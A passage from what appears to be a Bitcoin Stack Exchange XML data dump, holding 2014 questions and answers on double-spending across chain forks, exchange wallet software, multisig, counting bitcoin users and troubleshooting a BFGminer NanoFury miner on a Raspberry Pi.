safe number of confirmations for this change before I can use it as an input for another tx?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2017-08-15T07:34:10.763" Title="Spending own generated unconfirmed change in the v.0.9.0 era" Tags="|confirmations|change|transaction-malleability|unconfirmed-transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23931" PostTypeId="1" AcceptedAnswerId="23945" CreationDate="2014-03-24T19:12:15.650" Score="3" ViewCount="1429" Body="&lt;p&gt;Do they write wrappers around &lt;code&gt;bitcoind&lt;/code&gt; or is there a better solution out there? Some exchanges handle dozens of digital currencies, does this mean they are running &lt;code&gt;bitcoind&lt;/code&gt;, &lt;code&gt;litecoind&lt;/code&gt;, &lt;code&gt;dogecoind&lt;/code&gt;, etc concurrently?&lt;/p&gt;&#xA;" OwnerUserId="14775" LastEditorUserId="11369" LastEditDate="2014-03-24T21:02:19.590" LastActivityDate="2022-03-14T13:48:02.390" Title="What software do exchanges use to manage wallets?" Tags="|wallet|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23932" PostTypeId="2" ParentId="23893" CreationDate="2014-03-24T20:33:00.617" Score="-2" Body="&lt;p&gt;As per the below article by Vitalik Buterin, theoretically, you can have one-of-three, five-of-five, or six-of-eleven multisig addresses, it just happens that two-of-three is the most useful combination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoinmagazine.com/11108/multisig-future-bitcoin/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinmagazine.com/11108/multisig-future-bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14802" LastActivityDate="2014-03-24T20:33:00.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23934" PostTypeId="1" CreationDate="2014-03-24T20:45:22.813" Score="0" ViewCount="71" Body="&lt;p&gt;I am relatively new to C++ and I was wondering if anybody could help me out. I am looking piece of code that will loop until a block is found by a node and then when one is found print a simple output like &quot;Block found&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14745" LastEditorUserId="5406" LastEditDate="2016-03-31T16:22:58.300" LastActivityDate="2016-03-31T16:22:58.300" Title="What piece of code would allow me to check if a block has been found then run an operation?" Tags="|api|block|nodes|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23935" PostTypeId="2" ParentId="23934" CreationDate="2014-03-24T20:50:28.547" Score="1" Body="&lt;p&gt;You could simply record the value of &lt;code&gt;bitcoind getblockcount&lt;/code&gt; somewhere and see when that changes by calling &lt;code&gt;getblockcount&lt;/code&gt; repeatedly.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-03-24T20:50:28.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23936" PostTypeId="1" CreationDate="2014-03-24T21:30:52.640" Score="3" ViewCount="561" Body="&lt;p&gt;So, let's say you have a wallet with 20BTC, and you have a flow like so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You send 15BTC to A in block 1&lt;/li&gt;&#xA;&lt;li&gt;You send 15BTC to B in block 2&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What happens if at block 1 there are two chains across miners. In chain X the transaction is there, in chain Y, the transaction is not there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they go to spend the other 15BTC in block 2 and their wallet(imagine a different computer using the same wallet) is on chain Y, then their wallet will let them do it. What happens when: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Chain X becomes the dominant chain&#xA;** Transaction 1 would have confirmed, so would transaction 2 have been rejected and never confirm?  &lt;/li&gt;&#xA;&lt;li&gt;Chain Y becomes the dominant chain&#xA;** Transaction 2 would have confirmed, so would transaction 1 be rejected and never confirm? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How is this represented in the bitcoin software even? I know there are some transactions that can be broadcast but then never confirmed, but how does the wallet know the money is not spend if it's been broadcast?&lt;/p&gt;&#xA;" OwnerUserId="9512" LastEditorUserId="5406" LastEditDate="2016-02-02T09:11:26.290" LastActivityDate="2016-02-02T09:11:26.290" Title="How is over-spending one block apart prevented?" Tags="|doublespend|blockchain-fork|chain-reorganization|stale-block|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23938" PostTypeId="2" ParentId="23936" CreationDate="2014-03-24T21:53:32.380" Score="0" Body="&lt;p&gt;If chain X becomes dominant, all transactions in the now-orphan chain Y are returned to the &quot;memory pool&quot;. When this happens, transaction 2 will not confirm because it spends an output that was already spent by transaction 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, if chain Y becomes dominant, all transactions in the now-orphan chain X are returned to the &quot;memory pool&quot;.  When this happens, transaction 1 will not confirm because it spends an output that was already spent by transaction 2.&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2014-03-24T21:53:32.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23939" PostTypeId="2" ParentId="9051" CreationDate="2014-03-24T23:43:14.847" Score="2" Body="&lt;p&gt;I wrote a bitcoin price theory is about a correlation of number of bitcoin addresses &#xA;(from blockchain) and the bitcoin price, with a law of networking use like the metcalfe law.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here I posted my study about your question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=441336.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=441336.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2014-03-24T23:43:14.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23940" PostTypeId="2" ParentId="13763" CreationDate="2014-03-24T23:55:13.553" Score="1" Body="&lt;p&gt;Although I am no polish or live in Poland, I would recommend to claim it as you would do for a investment. If the government finds out your not paying tax, the consequences are far greater than the tax you would pay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your not sure then just call the tax department of the Polish government.&#xA;&lt;a href=&quot;http://www.forbes.com/sites/cameronkeng/2013/12/16/bitcoin-is-not-anonymous-is-always-taxable/&quot; rel=&quot;nofollow&quot;&gt;On Forbes Cameron Keng has written this  article&lt;/a&gt;, check it out and see if it answers your question. I've red it and it does give me a vague answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this has helped&lt;/p&gt;&#xA;" OwnerUserId="14710" LastActivityDate="2014-03-24T23:55:13.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23941" PostTypeId="2" ParentId="23936" CreationDate="2014-03-25T00:00:22.843" Score="0" Body="&lt;p&gt;It isn't!  The only way to be sure that a transaction is permanent (and thus be sure that the recipient will be able to spend the funds he received) is to wait until a reasonable number of confirmations (blocks mined after the block containing the transaction)&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-03-25T00:00:22.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23944" PostTypeId="1" CreationDate="2014-03-25T02:48:35.820" Score="2" ViewCount="2669" Body="&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20024/bfgminer-cant-find-my-nanofury&quot;&gt;BFGminer can&amp;#39;t find my NanoFury!&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Posted on the RPi Exchange as well&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://raspberrypi.stackexchange.com/questions/14753/bfgminer-cant-find-my-nanofury-on-raspberry-pi&quot;&gt;https://raspberrypi.stackexchange.com/questions/14753/bfgminer-cant-find-my-nanofury-on-raspberry-pi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Forums:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=529545&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=529545&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I see the miners with these commands&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lsusb -t&#xA;/:  Bus 01.Port 1: Dev 1, Class=root_hub, Driver=dwc_otg/1p, 480M&#xA;    |__ Port 1: Dev 2, If 0, Class=hub, Driver=hub/3p, 480M&#xA;        |__ Port 1: Dev 3, If 0, Class=vend., Driver=smsc95xx, 480M&#xA;        |__ Port 3: Dev 4, If 0, Class=hub, Driver=hub/4p, 480M&#xA;            |__ Port 4: Dev 5, If 0, Class=hub, Driver=hub/4p, 480M&#xA;                |__ Port 1: Dev 6, If 0, Class=HID, Driver=usbhid, 12M&#xA;                |__ Port 4: Dev 7, If 0, Class=HID, Driver=usbhid, 12M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lsusb&#xA;Bus 001 Device 002: ID 0424:9512 Standard Microsystems Corp. &#xA;Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub&#xA;Bus 001 Device 006: ID 04d8:00de Microchip Technology, Inc. &amp;lt;-- USB Miner&#xA;Bus 001 Device 007: ID 04d8:00de Microchip Technology, Inc. &amp;lt;-- USB Miner&#xA;Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. &#xA;Bus 001 Device 004: ID 1a40:0101 Terminus Technology Inc. 4-Port HUB&#xA;Bus 001 Device 005: ID 1a40:0101 Terminus Technology Inc. 4-Port HUB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but they do not show up when running bfgminer 3.10.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running Raspbian and have compiled everything from source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a missing driver I need for these?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;command line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bfgminer -o stratum+tcp://stratum.d7.lt:3333 -u username -p password -S nanofury:all --set-device NFY:osc6_bits=33&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NO DEVICES FOUND: Press 'M' and '+' to add&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've seen this configured on other systems, do I need o configure this as well?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# NF2&#xA;ATTRS{idVendor}==&quot;04d8&quot;, ATTRS{idProduct}==&quot;00de&quot;, SUBSYSTEMS==&quot;usb&quot;, ACTION==&quot;add&quot;, MODE=&quot;0666&quot;, GROUP=&quot;root&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;debug output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-03-25 04:01:06] hid_devinfo_scan: Found &quot;NanoFury NF2 v0.5 by MLM&quot; serial &quot;0000100001&quot;&#xA; [2014-03-25 04:01:06] hid_devinfo_scan: Found &quot;NanoFury NF2 v0.5 by MLM&quot; serial &quot;0000100002&quot;&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found usb device at usb:001:005 (path=(null), vid=1a40, pid=0101, manuf=(null), prod=USB 2.0 Hub, serial=(null))&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found usb device at usb:001:004 (path=(null), vid=1a40, pid=0101, manuf=(null), prod=USB 2.0 Hub, serial=(null))&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found usb device at usb:001:003 (path=(null), vid=0424, pid=ec00, manuf=(null), prod=(null), serial=(null))&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found usb device at usb:001:007 (path=(null), vid=04d8, pid=00de, manuf=Microchip Technology Inc., prod=NanoFury NF2 v0.5 by MLM, serial=0000100001)&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found usb device at usb:001:006 (path=(null), vid=04d8, pid=00de, manuf=Microchip Technology Inc., prod=NanoFury NF2 v0.5 by MLM, serial=0000100002)&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found usb device at usb:001:001 (path=(null), vid=1d6b, pid=0002, manuf=Linux 3.10.25+ dwc_otg_hcd, prod=DWC OTG Controller, serial=bcm2708_usb)&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found usb device at usb:001:002 (path=(null), vid=0424, pid=9512, manuf=(null), prod=(null), serial=(null))&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found hid device at hid:/dev/hidraw1 (path=/dev/hidraw1, vid=04d8, pid=00de, manuf=Microchip Technology Inc., prod=NanoFury NF2 v0.5 by MLM, serial=0000100001)&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found hid device at hid:/dev/hidraw0 (path=/dev/hidraw0, vid=04d8, pid=00de, manuf=Microchip Technology Inc., prod=NanoFury NF2 v0.5 by MLM, serial=0000100002)&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found mcp2210 device at hid:/dev/hidraw0 (path=/dev/hidraw0, vid=04d8, pid=00de, manuf=Microchip Technology Inc., prod=NanoFury NF2 v0.5 by MLM, serial=0000100001)&#xA; [2014-03-25 04:01:06] lowlevel_scan: Found mcp2210 device at hid:/dev/hidraw1 (path=/dev/hidraw1, vid=04d8, pid=00de, manuf=Microchip Technology Inc., prod=NanoFury NF2 v0.5 by MLM, serial=0000100002)&#xA; [2014-03-25 04:01:06] mcp2210_set_cfg_gpio: Failed to set current GPIO config&#xA; [2014-03-25 04:01:06] mcp2210_get_gpio_input: Failed to get current GPIO input values&#xA; [2014-03-25 04:01:06] mcp2210_set_cfg_gpio: Failed to set current GPIO config&#xA; [2014-03-25 04:01:06] mcp2210_set_cfg_gpio: Failed to set current GPIO config&#xA; [2014-03-25 04:01:06] mcp2210_get_gpio_input: Failed to get current GPIO input values&#xA; [2014-03-25 04:01:06] mcp2210_set_cfg_gpio: Failed to set current GPIO config&#xA; [2014-03-25 04:01:06] nanofury_lowl_probe: Matched &quot;NanoFury NF2 v0.5 by MLM&quot; serial &quot;0000100001&quot;, but failed to detect nanofury&#xA; [2014-03-25 04:01:06] mcp2210_set_cfg_gpio: Failed to set current GPIO config&#xA; [2014-03-25 04:01:06] mcp2210_get_gpio_input: Failed to get current GPIO input values&#xA; [2014-03-25 04:01:06] mcp2210_get_gpio_input: Failed to get current GPIO input values&#xA; [2014-03-25 04:01:06] nanofury_lowl_probe: Matched &quot;NanoFury NF2 v0.5 by MLM&quot; serial &quot;0000100002&quot;, but failed to detect nanofury&#xA; [2014-03-25 04:01:06] INFO: bitfury_detect&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:06] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:07] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:07] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:07] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:07] Unable to open SPI device: No such file or directory&#xA; [2014-03-25 04:01:07] No Bitfury chips detected!&#xA; [2014-03-25 04:01:07] ManageTUI: (none): No new devices found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like I missed a package I needed to install:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=291456.msg3924680#msg3924680&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=291456.msg3924680#msg3924680&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But now Im getting this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [2014-03-26 01:43:29] mcp2210_get_configs: Failed to get current SPI config&#xA;Select processor to manage using up/down arrow keys&#xA; [2014-03-26 01:43:29] NFY 0: Failed to open mcp2210 device&#xA; NFY 0 : Initializing... [2014-03-26 01:43:29] NFY 0 failure, exitingSegmentation fault&#xA;root@raspberrypi:/usr/bfgminer/bfgminer-3.10.0# &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;at least it's progress but still an issue&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE #2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some additional output since I've updated the RPi firmware&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2014-04-02 03:08:21] nanofury_lowl_probe: Matched &quot;NanoFury NF2 v0.5 by MLM&quot; serial &quot;0000142845&quot;, but mcp2210 lowlevel driver failed to open it&#xA; [2014-04-02 03:08:22] Probing for an alive pool&#xA; [2014-04-02 03:08:22] Network difficulty changed to 96.8M (693.1Th/s)&#xA; [2014-04-02 03:08:22] Stratum from pool 0 detected new block&#xA; [2014-04-02 03:08:22] Pool 0 is hiding block contents from us&#xA; [2014-04-02 03:08:23] mcp2210_spi_transfer: Failed to continue SPI transfer (1 bytes remaining)&#xA; [2014-04-02 03:08:23] mcp2210_set_cfg_spi: Error setting current SPI config (248)&#xA; [2014-04-02 03:08:23] NFY 0 failure, attempting to reinitialize&#xA; [2014-04-02 03:08:23] mcp2210_spi_transfer: Failed to continue SPI transfer (1 bytes remaining)&#xA; [2014-04-02 03:08:23] mcp2210_set_cfg_spi: Error setting current SPI config (248)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:56:29.273" LastActivityDate="2016-03-14T16:57:45.860" Title="BFGminer can't find my NanoFury on Raspberry Pi" Tags="|hash|asic|miner-configuration|bfgminer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23945" PostTypeId="2" ParentId="23931" CreationDate="2014-03-25T03:29:46.730" Score="1" Body="&lt;p&gt;From an exchange's perspective, the best option would be to write mostly your own software. From a technical perspective, an exchange only has to fulfill the following in order to be accepting a crypto-currency:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Must allow deposits of Bitcoin or coin the exchange claims to accept.&lt;/li&gt;&#xA;&lt;li&gt;Must allow withdraws of Bitcoin or coin the exchange claims to accept.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Normally &lt;code&gt;bitcoind&lt;/code&gt; or the altcoin variant of it, &lt;code&gt;litecoind&lt;/code&gt;, &lt;code&gt;dogecoind&lt;/code&gt;, etc., take care of both for a user of a crypto-currency. But an exchange has special demands. Here are some issues I can think of that may happen to an exchange if they used the core client.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Core clients are not designed to work in a multiple server environments, something vital for large exchanges.&lt;/li&gt;&#xA;&lt;li&gt;Private keys and corresponding addresses need to be stored under special conditions. An exchange may want add a username along with an address or even reuse addresses for efficiency.&lt;/li&gt;&#xA;&lt;li&gt;Core clients aren't exactly lightweight. An exchange doesn't need a lot of features commonly packaged together with a core client. As an example, accounts; it's purely for organizing money cosmetically, something exchanges don't need.&lt;/li&gt;&#xA;&lt;li&gt;Core clients don't allow for more intricate control of transactions or other components, &lt;a href=&quot;https://en.bitcoin.it/wiki/SatoshiDice&quot; rel=&quot;nofollow noreferrer&quot;&gt;SatoshiDice&lt;/a&gt; is impossible to create using &lt;code&gt;bitcoind&lt;/code&gt; because it require manipulation of transaction inputs to create sends, something you can't currently do with &lt;code&gt;bitcoind&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;So what should an exchange be doing?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using a combination of the two, or even ditching the core client. There are many programming libraries that simplify all aspects of Bitcoin technology, &lt;a href=&quot;http://libbitcoin.dyne.org/doc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;libbitcoin&lt;/a&gt; is a C++ library that allows you to make a partial or full node in no time. SatoshiDice is constructed on &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitcoinJ&lt;/a&gt;, a popular Java library for Bitcoin. There are also many libraries available for other languages, but the point is that building a node isn't too hard.&lt;/p&gt;&#xA;&lt;p&gt;I recommend a hybrid use because &lt;code&gt;bitcoind&lt;/code&gt; is a lot more safe and bug-free than your own code. You can accidentally create code that creates invalid transactions or even accidentally send coins to the wrong address. I'd use a library and my favorite language to detect deposits and accredit them to accounts, and then push raw transactions to a &lt;code&gt;bitcoind&lt;/code&gt; instance running on my own or possibly the same server where it will validate it and take care of sending it other nodes in the network. Less space to mess up in code.&lt;/p&gt;&#xA;&lt;p&gt;For altcoins, you'd need an instance running or just doing small modifications to the code to differentiate. There isn't a huge difference between the protocols all the crypto-currencies use. You should know anyways if you're planning to accept a coin as an exchange.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Exchanges should be using software they wrote themselves. This isn't hard to do as there are many libraries available that give you nitty-gritty access to Bitcoin. Core clients &lt;em&gt;can&lt;/em&gt; be a bottleneck at times &lt;strong&gt;but&lt;/strong&gt; can be used in conjunction to avoid said bottlenecks while maintaining a safety net for an exchange and can even simplify certain parts.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="5406" LastEditDate="2022-03-14T13:48:02.390" LastActivityDate="2022-03-14T13:48:02.390" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23946" PostTypeId="1" CreationDate="2014-03-25T04:12:00.847" Score="1" ViewCount="512" Body="&lt;p&gt;I am writing a Business plan and attempting to make some financial projections based upon the population of bitcoin users, has anyone publicly produced any estimate as of 2014 of how many active users are within the bitcoin ecosystem? &#xA;If not, has any project, research paper or organisation attempted a partial count or proposed a methodology for counting the amount of users in the ecosystem?&lt;/p&gt;&#xA;" OwnerUserId="14809" LastActivityDate="2014-03-25T06:19:42.383" Title="Estimated amount of Bitcoin users" Tags="|user-base|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ClosedDate="2014-03-26T19:31:00.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="23947" PostTypeId="2" ParentId="343" CreationDate="2014-03-25T05:16:39.527" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;http://www.37coins&quot; rel=&quot;nofollow&quot;&gt;http://www.37coins&lt;/a&gt; will work. Presently there are 37coins text gateways in over 14 countries for sending/receiving bitcoin by text (SMS) and more can be added if you have an extra cell phone. See their site on section about adding a gateway. Using the system is easy. You can open a wallet by texting your cell phone number to the appropriate gateway in your country. Once you have a wallet you can follow the short text prompts listed on the site to send bitcoin to your wallet and you can withdrawl (send) bitcoin via text to another bitcoin wallet. You can do this without a browser, internet connection or smart phone. You can use an older version cell phone and its texting capabilities.&lt;/p&gt;&#xA;" OwnerUserId="14810" LastActivityDate="2014-03-25T05:16:39.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23950" PostTypeId="2" ParentId="23502" CreationDate="2014-03-25T05:38:54.497" Score="1" Body="&lt;p&gt;From what we have noticed on LBTC Grid, out refers to connecting to coin network and the P2Pool network. In refers to miners connecting to your server.&lt;/p&gt;&#xA;" OwnerUserId="13620" LastActivityDate="2014-03-25T05:38:54.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23951" PostTypeId="2" ParentId="1953" CreationDate="2014-03-25T06:03:22.700" Score="1" Body="&lt;p&gt;I think whatever views comes up will always be views - why? Because decisions come from groups of people unless its a dictatorship!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we are seeing is a East - West divide. More eastern countries are portraying Bitcoin in a negative light whereas the west is embracing it more and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately governments represent their people. If this was 2009 and Bitcoin just started and governments were aware, then I don't think Bitcoin would be here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But because it had room to grow, it is at a stage where people are starting to have needs for it, so governments have to consider that view - is it positive for its citizens or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not the hopes and wishes or wants, but practically. Today Bitcoin has a good appearance. Many people interested, so it has a chance to become something big like Facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately though its all our actions with these technologies. If too many people abuse it, then it will be more restricted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easy to see. If too many services close and coins disappear (MtGox anyone), then it will bring regulation which will stifle the Bitcoin world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If too many people use it for grey/shady/black market use, then it will cause certain things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall the best thing for Bitcoin or any of these related technologies is for those responsible to act responsibly and for the consideration for humanity rather then self.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then Bitcoin will thrive like the internet thrives.&lt;/p&gt;&#xA;" OwnerUserId="13620" LastEditorUserId="516" LastEditDate="2014-03-25T08:18:43.297" LastActivityDate="2014-03-25T08:18:43.297" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23952" PostTypeId="2" ParentId="23946" CreationDate="2014-03-25T06:19:42.383" Score="0" Body="&lt;p&gt;To find out numer of transactions per day:&#xA;&lt;a href=&quot;http://blockchain.info/charts/n-transactions&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/n-transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out unique addresses used each day:&#xA;&lt;a href=&quot;http://blockchain.info/charts/n-unique-addresses&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts/n-unique-addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here is where the magic happens. You have to bring in your own calculation base for what the above means in terms of unique users.&lt;/p&gt;&#xA;" OwnerUserId="13620" LastActivityDate="2014-03-25T06:19:42.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23953" PostTypeId="2" ParentId="18879" CreationDate="2014-03-25T06:45:38.680" Score="0" Body="&lt;p&gt;As the above poster mentioned, refunding to an input address can be unreliable due to shared wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The merchant protocol (BIP 70) &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0070&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/BIP_0070&lt;/a&gt; offers a good solution to this long term, but it is still gaining adoption, and not widely used yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution we proposed to Overstock.com and other merchants at Coinbase was to send the refund to an email address (merchant's typically have these on file for the customer, who is signed in at checkout).  This delivers their refund to a Coinbase account (via email), which is either their actual Coinbase account, or at an address where they can sign in to claim it.  They can then move the funds anywhere they'd like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While not perfect, this has been the best solution we've seen merchants adopt to date for refunds.&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2014-03-25T06:45:38.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
